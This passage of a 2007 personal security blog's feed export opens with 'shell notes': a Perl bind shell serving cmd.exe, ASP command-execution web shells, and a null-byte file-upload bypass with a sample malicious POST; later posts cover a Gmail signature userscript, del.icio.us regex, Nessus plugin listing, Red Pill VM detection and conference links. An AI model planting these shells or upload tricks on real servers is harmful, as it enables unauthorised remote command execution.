"&amp;lt;script&amp;gt;window.location.replace('".$Redirect."')&amp;lt;/script&amp;gt;";&lt;br /&gt;?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Perl shell &lt;/span&gt;&lt;br /&gt;&lt;div id="code"&gt;#!/usr/bin/perl&lt;br /&gt;use Socket;&lt;br /&gt;$port=911;&lt;br /&gt;$proto=getprotobyname('tcp');&lt;br /&gt;$system='cmd.exe';&lt;br /&gt;socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!";&lt;br /&gt;setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die "setsockopt: $!";&lt;br /&gt;bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!";&lt;br /&gt;listen(SERVER, SOMAXCONN) or die "listen: $!";&lt;br /&gt;for(;$paddr=accept(CLIENT, SERVER);close CLIENT) {&lt;br /&gt;  open(STDIN, "&amp;gt;&amp;CLIENT");&lt;br /&gt;  open(STDOUT, "&amp;gt;&amp;CLIENT");&lt;br /&gt;  open(STDERR, "&amp;gt;&amp;CLIENT");&lt;br /&gt;  system($system);&lt;br /&gt;  close(STDIN);&lt;br /&gt;  close(STDOUT);&lt;br /&gt;  close(STDERR);&lt;br /&gt;}&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;ASP Quicky whoami ?&lt;/span&gt;&lt;br /&gt;&lt;div id="code"&gt;&amp;lt;%&lt;br /&gt;Dim wShell, objNetwork&lt;br /&gt;response.write "Shell Test.."&lt;br /&gt;Set objNetwork = server.CreateObject("WScript.Network")&lt;br /&gt;response.write objNetwork.UserName&lt;br /&gt;set objNetwork = nothing&lt;br /&gt;%&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;ASP Shell &lt;/span&gt;&lt;br /&gt;- WshShell.Exec error '80070005' likely&lt;br /&gt;&lt;div id="code"&gt;&amp;lt;%&lt;br /&gt;Dim wshell, intReturn&lt;br /&gt;set wshell = server.createobject("wscript.shell")&lt;br /&gt;intReturn = wshell.run("%comspec% /c dir *.* &amp;gt; c:\test.txt", 0, True)&lt;br /&gt;Response.Write( intReturn )&lt;br /&gt;set wshell = nothing&lt;br /&gt;%&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Curl into older PHP servers from chroot skeletons.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="code"&gt;&amp;lt;?php&lt;br /&gt;$ch=curl_init();&lt;br /&gt;curl_setopt($ch, CURLOPT_URL, "http://www.proveyourworth.net/do_not_render.php");&lt;br /&gt;curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);&lt;br /&gt;print_r(curl_getinfo($ch));&lt;br /&gt;$file=curl_exec($ch);&lt;br /&gt;&lt;br /&gt;$PATH = '/home/httpd/vhosts/someplace.com/httpdocs/';&lt;br /&gt;echo '&amp;lt;br&amp;gt;Post Curl&amp;lt;br&amp;gt;';&lt;br /&gt;//echo $file;&lt;br /&gt;$data = $file;&lt;br /&gt;&lt;br /&gt;print $data;&lt;br /&gt;?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Null Bytes&lt;/span&gt;&lt;br /&gt;PHP garbage&lt;br /&gt;The null byte is represented with '%00' in php&lt;br /&gt;C:\c99.php%00.jpg&lt;br /&gt;&lt;br /&gt;CGI null byte stuff too..&lt;br /&gt;see... php null byte&lt;br /&gt;&lt;br /&gt;ASP null byte&lt;br /&gt;When a filename is sent using a multipart/form-data post the null byte will be&lt;br /&gt;included in the filename variable, thus affecting calls to the FileSystemObject.&lt;br /&gt;&lt;br /&gt;&lt;div id="code"&gt;POST /upload_exploit.asp HTTP/1.0&lt;br /&gt;Content-Type: multipart/form-data; boundary=---------------------------&lt;br /&gt;AAAAAAAAAAAAA&lt;br /&gt;Host: localhost&lt;br /&gt;Content-Length: 4337&lt;br /&gt;Pragma: no-cache&lt;br /&gt;Cookie: ASPSESSIONID=NOTQUITERANDOM&lt;br /&gt;-----------------------------AAAAAAAAAAAAA&lt;br /&gt;Content-Disposition: form-data; name="ExploitFile"; filename="c:\sbd.exe .png"&lt;br /&gt;Content-Type: text/plain&lt;br /&gt;-----------------------------AAAAAAAAAAAAA&lt;br /&gt;Content-Disposition: form-data; name="submit"&lt;br /&gt;Upload&lt;br /&gt;-----------------------------AAAAAAAAAAAAA&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-3271788584825427046?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/3271788584825427046/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=3271788584825427046' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/3271788584825427046'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/3271788584825427046'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/03/just-some-simple-shell-notes.html' title='Just some simple shell notes:'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-7453054222721056024</id><published>2007-02-15T23:56:00.000Z</published><updated>2007-03-12T15:22:47.214Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='greasemonkey'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Gmail HTML Signatures - GreaseMonkey script</title><content type='html'>So of course you cant create html signatures in gmail... ergg!&lt;br /&gt;&lt;br /&gt;Silly rabbit, you can drag and drop images/html into the gmail Richtext editor...&lt;br /&gt;well that just will not do.&lt;br /&gt;&lt;br /&gt;So that would mean - greasemonkey script! Im not going to waste any time here.&lt;br /&gt;GMAIL HTML SIGNATURE - &lt;a href="http://shadowbq.googlepages.com/gmailhtmlsignature.user.js" class="button"&gt;Install this Script&lt;/a&gt;&lt;br /&gt;&lt;div id="code"&gt;//&lt;br /&gt;// Released under the CC Attribution 2.5 license&lt;br /&gt;// http://creativecommons.org/licenses/by/2.5/&lt;br /&gt;// --------------------------------------------------------------------&lt;br /&gt;//&lt;br /&gt;// This is a Greasemonkey user script.&lt;br /&gt;//&lt;br /&gt;// To setup, insert html signature code into:&lt;br /&gt;//    * html_signature&lt;br /&gt;// --------------------------------------------------------------------&lt;br /&gt;//&lt;br /&gt;// ==UserScript==&lt;br /&gt;// @name           GMAIL HTML Signature&lt;br /&gt;// @namespace      http://shad0wbq.answorld.com/&lt;br /&gt;// @description    Insert HTML signature into GMAIL&lt;br /&gt;// @include       http://gmail.google.com/*&lt;br /&gt;// @include       https://gmail.google.com/*&lt;br /&gt;// @include       http://mail.google.com/*&lt;br /&gt;// @include       https://mail.google.com/*&lt;br /&gt;// ==/UserScript==&lt;br /&gt;// &lt;br /&gt;var html_signature = '&amp;lt;div style="margin: 0 auto 0 auto; margin-top: 5px; margin-bottom: 5px;" &gt;' + &lt;br /&gt; '&amp;lt;a href="http://feeds.feedburner.com/Codeburst"&gt;' + &lt;br /&gt; '&amp;lt;img src="http://feeds.feedburner.com/Codeburst.gif" style="border:0" alt="codeBurst"/&gt;' + &lt;br /&gt; '&amp;lt;/a&gt;&amp;lt;/div&gt;';&lt;br /&gt; &lt;br /&gt;window.setTimeout(function() {  &lt;br /&gt; //Debug Frame window&lt;br /&gt; //   alert(window.frames[0].name);&lt;br /&gt; if (window.frames[0])&lt;br /&gt; {&lt;br /&gt;  if (window.frames[0].name == "v2_hc_compose")&lt;br /&gt;  {&lt;br /&gt;   var logo = window.frames[0].document.createElement("div");&lt;br /&gt;   logo.innerHTML = '&amp;lt;br&gt;&amp;lt;br&gt;' + html_signature&lt;br /&gt;   window.frames[0].document.body.insertBefore(logo,window.frames[0].document.body.lastChild);&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt; }, 600);&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-7453054222721056024?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/7453054222721056024/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=7453054222721056024' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/7453054222721056024'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/7453054222721056024'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/02/gmail-html-signatures-greasemonkey.html' title='Gmail HTML Signatures - GreaseMonkey script'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-1995676878451084601</id><published>2007-02-12T22:20:00.000Z</published><updated>2007-03-12T15:24:11.039Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='tags'/><category scheme='http://www.blogger.com/atom/ns#' term='del.icio.us'/><category scheme='http://www.blogger.com/atom/ns#' term='xml'/><category scheme='http://www.blogger.com/atom/ns#' term='regex'/><title type='text'>del.icio.us Regex</title><content type='html'>I was working on bring in my collection of bookmarks for use on &lt;a href="http://del.icio.us/"&gt;del.icio.us&lt;/a&gt;. There is still some work to be done on &lt;a href="http://del.icio.us/"&gt;del.icio.us&lt;/a&gt; web interface, and most of the API apps that I used just didnt fit the bill so some quick regex helped with importation and exportation.&lt;br /&gt;&lt;br /&gt;Main use for this was to enable sharing on all imported bookmarks.&lt;br /&gt;&lt;br /&gt;So we need some regex for implementations on the api.&lt;br /&gt;&lt;br /&gt;del.icio.us can read and export Netscape bookmark files.&lt;br /&gt;&lt;br /&gt;&lt;div id="code"&gt;&amp;lt;meta equiv="Content-Type" content="text/html; charset=UTF-8"&gt;&lt;br /&gt;&amp;lt;title&gt;Bookmarks&amp;lt;/title&gt;&lt;br /&gt;&amp;lt;h1&gt;Bookmarks&amp;lt;/h1&gt;&lt;br /&gt; &amp;lt;dl&gt;&amp;lt;p&gt;&lt;br /&gt; &amp;lt;/p&gt;&amp;lt;dt&gt;&amp;lt;a href="http://www.testtest.com/" last_visit="117002438" add_date="117002438" tags="wee,w00t"&gt;test test&amp;lt;/a&gt;&lt;br /&gt;&amp;lt;/dt&gt;&amp;lt;/dl&gt;&lt;/div&gt;&lt;br /&gt;These can very easily be modified via regex to work as api calls&lt;br /&gt;Example API calls&lt;br /&gt;&lt;div id="code"&gt;https://api.del.icio.us/v1/posts/add?&amp;url=http://www.testtest.com/&amp;amp;description=test test&amp;tags=wee%20w00t&amp;amp;replace=yes&amp;shared=yes&lt;br /&gt;https://api.del.icio.us/v1/posts/delete?&amp;amp;url=http://www.testtest.com/&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Regex Convertion for del.icio.us&lt;br /&gt;&lt;div id="code"&gt;(&amp;lt;dt&gt;&amp;lt;a href="http://www2.blogger.com/%29%28.*%29%28" tags=")(.*)("&gt;)(.*)(&amp;lt;/a&gt;&amp;lt;/dt&gt;)&lt;br /&gt;https://api.del.icio.us/v1/posts/add?&amp;url=\2&amp;amp;description=\6&amp;tags=\4&amp;amp;replace=yes&amp;amp;shared=yes&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-1995676878451084601?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/1995676878451084601/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=1995676878451084601' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/1995676878451084601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/1995676878451084601'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/02/delicious-regex.html' title='del.icio.us Regex'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-6360926233695266383</id><published>2007-02-07T21:03:00.000Z</published><updated>2007-03-12T15:25:15.704Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='plugins'/><category scheme='http://www.blogger.com/atom/ns#' term='vbs'/><category scheme='http://www.blogger.com/atom/ns#' term='nessus'/><category scheme='http://www.blogger.com/atom/ns#' term='nessus_extract.pl'/><title type='text'>Dirty Listing of Nessus Dangerous Plugins</title><content type='html'>Tenable Nessus .. needed dangerous plugins descriptions&lt;br /&gt;&lt;br /&gt;&lt;div id="code"&gt;cd \progra~1\tenable\nessus\plugins\scripts\&lt;br /&gt;egrep -l egrep -l "(ACT_DESTRUCT|ACT_DENIAL)" *.nasl&gt;c:\temp\dangerous_list.txt&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Quick vbs file.. &lt;br /&gt;Copy files from list in files to temp.&lt;br /&gt;&lt;div id="code"&gt;&lt;br /&gt;Dim objFileSystem, objInputFile, fso, aFile, afilename&lt;br /&gt;Dim strInputFile, inputData, strData, strListFile, i&lt;br /&gt;&lt;br /&gt;Const OPEN_FILE_FOR_READING = 1&lt;br /&gt;&lt;br /&gt;' generate a filename base on the script name, here readfile.in&lt;br /&gt;strListFile = "c:\temp\dangerous_list.txt"&lt;br /&gt;&lt;br /&gt;Set objFileSystem = CreateObject("Scripting.fileSystemObject")&lt;br /&gt;Set objInputFile = objFileSystem.OpenTextFile(strListFile, OPEN_FILE_FOR_READING)&lt;br /&gt;&lt;br /&gt;' read everything in an array&lt;br /&gt;afilename = "c:\progra~1\tenable\nessus\plugins\scripts\"&lt;br /&gt;&lt;br /&gt;Do While Not objInputFile.AtEndOfStream&lt;br /&gt;  Dim Line&lt;br /&gt;  Line = objInputFile.readline&lt;br /&gt;  ' Do something with "Line"&lt;br /&gt;  Set fso = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;  Set aFile = fso.GetFile(afilename &amp; trim(Line))&lt;br /&gt;  aFile.Copy("c:\temp\scripts\" &amp; trim(Line))&lt;br /&gt;  Set aFile = Nothing&lt;br /&gt;  Set fso = Nothing&lt;br /&gt;Loop&lt;br /&gt;&lt;br /&gt;objInputFile.Close&lt;br /&gt;Set objFileSystem = Nothing&lt;br /&gt;&lt;br /&gt;WSCRIPT.QUIT(0)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Grab nessus extract tool via wget&lt;br /&gt;Dump info to file .. done.&lt;br /&gt;&lt;div id="code"&gt;&lt;br /&gt;wget http://cvsweb.nessus.org/cgi-bin/viewcvs.cgi/&lt;br /&gt;*checkout*/nessus-tools/nessus-extract/&lt;br /&gt;nessus-extract.pl?rev=1.4.2.10&amp;content-type=text/plain&lt;br /&gt;&lt;br /&gt;perl nessus_extract.pl -p "c:\temp\scripts" &gt;c:\temp\Dangerous_Plugins.txt&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-6360926233695266383?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/6360926233695266383/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=6360926233695266383' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6360926233695266383'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6360926233695266383'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/02/dirty-listing-of-nessus-dangerous.html' title='Dirty Listing of Nessus Dangerous Plugins'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-7910323115122305496</id><published>2007-01-22T15:27:00.000Z</published><updated>2007-03-12T15:25:46.329Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='imagelinking'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><title type='text'>Apache redirect direct linked images...</title><content type='html'>don’t direct link images .. bad things happen&lt;br /&gt;&lt;div id=code&gt;RewriteCond %{HTTP_REFERER} !^$&lt;br /&gt;RewriteCond %{HTTP_REFERER} !^http[s]?://(www\.)?yoururl\.com/.*$ [NC]&lt;br /&gt;RewriteRule \.(gif|jpg|jpeg|bmp)$ redirected_image.jpg [L]&lt;br /&gt;&lt;/div&gt;&lt;a href="http://www.fif3.com/2004/12/22/dont-direct-link-my-images-mmmmkay/"&gt; - credit fif3&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-7910323115122305496?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/7910323115122305496/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=7910323115122305496' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/7910323115122305496'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/7910323115122305496'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/01/apache-redirect-direct-linked-images.html' title='Apache redirect direct linked images...'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-6364885107667075297</id><published>2007-01-11T22:03:00.000Z</published><updated>2007-03-12T18:26:58.012Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='virtualization'/><category scheme='http://www.blogger.com/atom/ns#' term='vmware'/><category scheme='http://www.blogger.com/atom/ns#' term='redpill'/><title type='text'>Detecting VMMs - virtual machine monitors</title><content type='html'>&lt;span style="font-weight:bold;"&gt;&lt;a href="http://invisiblethings.org/papers/redpill.html"&gt;Red Pill...&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;div id="code"&gt;&lt;br /&gt;int swallow_redpill () {&lt;br /&gt;       unsigned char m[2+4], rpill[] = "\x0f\x01\x0d\x00\x00\x00\x00\xc3";&lt;br /&gt;       *((unsigned*)&amp;rpill[3]) = (unsigned)m;&lt;br /&gt;       ((void(*)())&amp;rpill)();&lt;br /&gt;       return (m[5]&gt;0xd0) ? 1 : 0;&lt;br /&gt;     }&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://invisiblethings.org/tools/redpill.c"&gt;&lt;code&gt;redpill.c&lt;/code&gt;&lt;/a&gt;&lt;br&gt;&lt;br /&gt;&lt;a href="http://invisiblethings.org/tools/redpill.exe"&gt;&lt;code&gt;redpill.exe&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;TrapKit.de info..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;VMware fingerprint codes&lt;br /&gt;    &lt;a href="http://www.trapkit.de/research/vmm/scoopydoo/index.html"&gt;scoopy doo&lt;/a&gt; - A VMware Fingerprint Suite&lt;br&gt;&lt;br /&gt;       &lt;a href="http://www.trapkit.de/research/vmm/jerry/index.html"&gt;jerry&lt;/a&gt; - A(nother) VMware Fingerprinter&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-6364885107667075297?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/6364885107667075297/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=6364885107667075297' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6364885107667075297'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6364885107667075297'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/01/detecting-vmms-virtual-machine-monitors.html' title='Detecting VMMs - virtual machine monitors'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-5444955461479210044</id><published>2007-01-04T22:25:00.000Z</published><updated>2007-03-13T14:50:39.893Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Richard Bejtlich'/><category scheme='http://www.blogger.com/atom/ns#' term='owasp'/><category scheme='http://www.blogger.com/atom/ns#' term='novsec'/><title type='text'>Northern Virginia Security Groups</title><content type='html'>&lt;strong&gt;NoVA Sec&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Pure technical gatherings for security professionals in the northern Virginia area. Check your certifications at the door&lt;br /&gt;&lt;br /&gt;&lt;a href="http://novasec.blogspot.com/"&gt;http://novasec.blogspot.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;OWASP NoVA&lt;/strong&gt;&lt;br /&gt;OWASP chapter meetings are free and open to anyone interested in application security.&lt;br /&gt;&lt;a href="http://www.owasp.org/index.php/Virginia_%28Northern_Virginia%29"&gt;http://www.owasp.org/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-5444955461479210044?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/5444955461479210044/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=5444955461479210044' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5444955461479210044'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5444955461479210044'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/01/northern-virginia-security-groups.html' title='Northern Virginia Security Groups'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-5059099876088646505</id><published>2007-01-03T15:00:00.000Z</published><updated>2007-03-13T14:51:03.181Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='monthof'/><category scheme='http://www.blogger.com/atom/ns#' term='vizsec'/><title type='text'>MOAB / MOKB / VIZSEC '06</title><content type='html'>Well to catch up a little on the vuln world.. There's a couple things I'm watching.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Month of Apple Bugs&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://projects.info-pull.com/moab/index.html"&gt;Info-Pull's MoAB&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;PoC/Exploit are included with every release.. how nice.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Month Of Kernel Bugs&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://projects.info-pull.com/mokb/"&gt;Info-Pull's the MoKB&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Numerous Kernel bugs listed for FreeBSD 6.1, Linux 2.6, as well as OS X.&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;strong&gt;Retirement of &lt;a href="http://elsenot.com"&gt;Elsenot.com&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;Else not has officially closed its doors for updates.. &lt;br /&gt;"ElseNot part one is done. ElseNot part two may or may not start." ~ Layne&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;strong&gt;Conference VIZSEC '06&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The preceding for the conference held on November 3rd 2006 have been posted. There are alot really interesting white papers.. here are a couple of interest..&lt;br /&gt;&lt;div id="smalltext"&gt;&lt;br /&gt;&lt;strong&gt;2D Visualizations&lt;/strong&gt;&lt;br /&gt;&lt;div id="quote"&gt;"VAST: Visualizing Autonomous System Topology"&lt;/div&gt;&lt;br /&gt;- Jon Oberheide, Manish Karir and Dionysus Blazakis &lt;a href="http://www.projects.ncassr.org/sift/vizsec/vizsec06/program/vizsec12.pdf"&gt;[whitepaper]&lt;/a&gt; &lt;a href="http://www.projects.ncassr.org/sift/vizsec/vizsec06/program/paper12.pdf"&gt;[presentation]&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;div id="quote"&gt;"FlowTag: A Collaborative Attack-Analysis, Reporting, and Sharing Tool for Security Researchers" &lt;/div&gt;&lt;br /&gt;- Christopher P. Lee and John A. Copeland &lt;a href="http://www.projects.ncassr.org/sift/vizsec/vizsec06/program/vizsec16.pdf"&gt;[whitepaper]&lt;/a&gt; &lt;a href="http://www.projects.ncassr.org/sift/vizsec/vizsec06/program/paper16.ppt"&gt;[presentation]&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="quote"&gt;"Understanding Multistage Attacks by Attack-Track based Visualization of Heterogeneous Event Streams" &lt;/div&gt;&lt;br /&gt;- Sunu Mathew, Richard Giomundo, Shambhu J. Upadhyaya, Moises Sudit, Adam Stotz &lt;a href="http://www.projects.ncassr.org/sift/vizsec/vizsec06/program/vizsec01.pdf"&gt;[whitepaper]&lt;/a&gt; &lt;a href="http://www.projects.ncassr.org/sift/vizsec/vizsec06/program/paper01.ppt"&gt;[presentation]&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="quote"&gt;"Visual Toolkit for Network Security Experiment Specification and Data Analysis" &lt;/div&gt;&lt;br /&gt;- Lunquan Li, Peng Liu, George Kesidis &lt;a href="http://www.projects.ncassr.org/sift/vizsec/vizsec06/program/vizsec02.pdf"&gt;[whitepaper]&lt;/a&gt; &lt;a href="http://www.projects.ncassr.org/sift/vizsec/vizsec06/program/paper02.ppt"&gt;[presentation]&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="quote"&gt;"An Intelligent, Interactive Tool for Exploration and Visualization of Time-Oriented Security Data" &lt;/div&gt;&lt;br /&gt;- Asaf Shabtai, Denis Klimov, Yuval Shahar, and Yuval Elovici&lt;a href="http://www.projects.ncassr.org/sift/vizsec/vizsec06/program/vizsec03.pdf"&gt;[whitepaper]&lt;/a&gt; &lt;a href="http://www.projects.ncassr.org/sift/vizsec/vizsec06/program/paper03.pdf"&gt;[presentation]&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="quote"&gt;"Visualizing DNS Traffic" &lt;/div&gt;&lt;br /&gt;- Pin Ren, John Kristoff and Bruce Gooch &lt;a href="http://www.projects.ncassr.org/sift/vizsec/vizsec06/program/vizsec04.pdf"&gt;[whitepaper]&lt;/a&gt; &lt;a href="http://www.projects.ncassr.org/sift/vizsec/vizsec06/program/paper04.ppt"&gt;[presentation]&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;3D Visualizations&lt;/strong&gt;&lt;br /&gt;&lt;div id="quote"&gt;"Interactively Combining 2D and 3D Visualization for Network Traffic Monitoring" &lt;/div&gt;&lt;br /&gt;- Erwan Le Malecot, Masayoshi Kohara, Yoshiaki Hori, and Kouichi Sakurai &lt;a 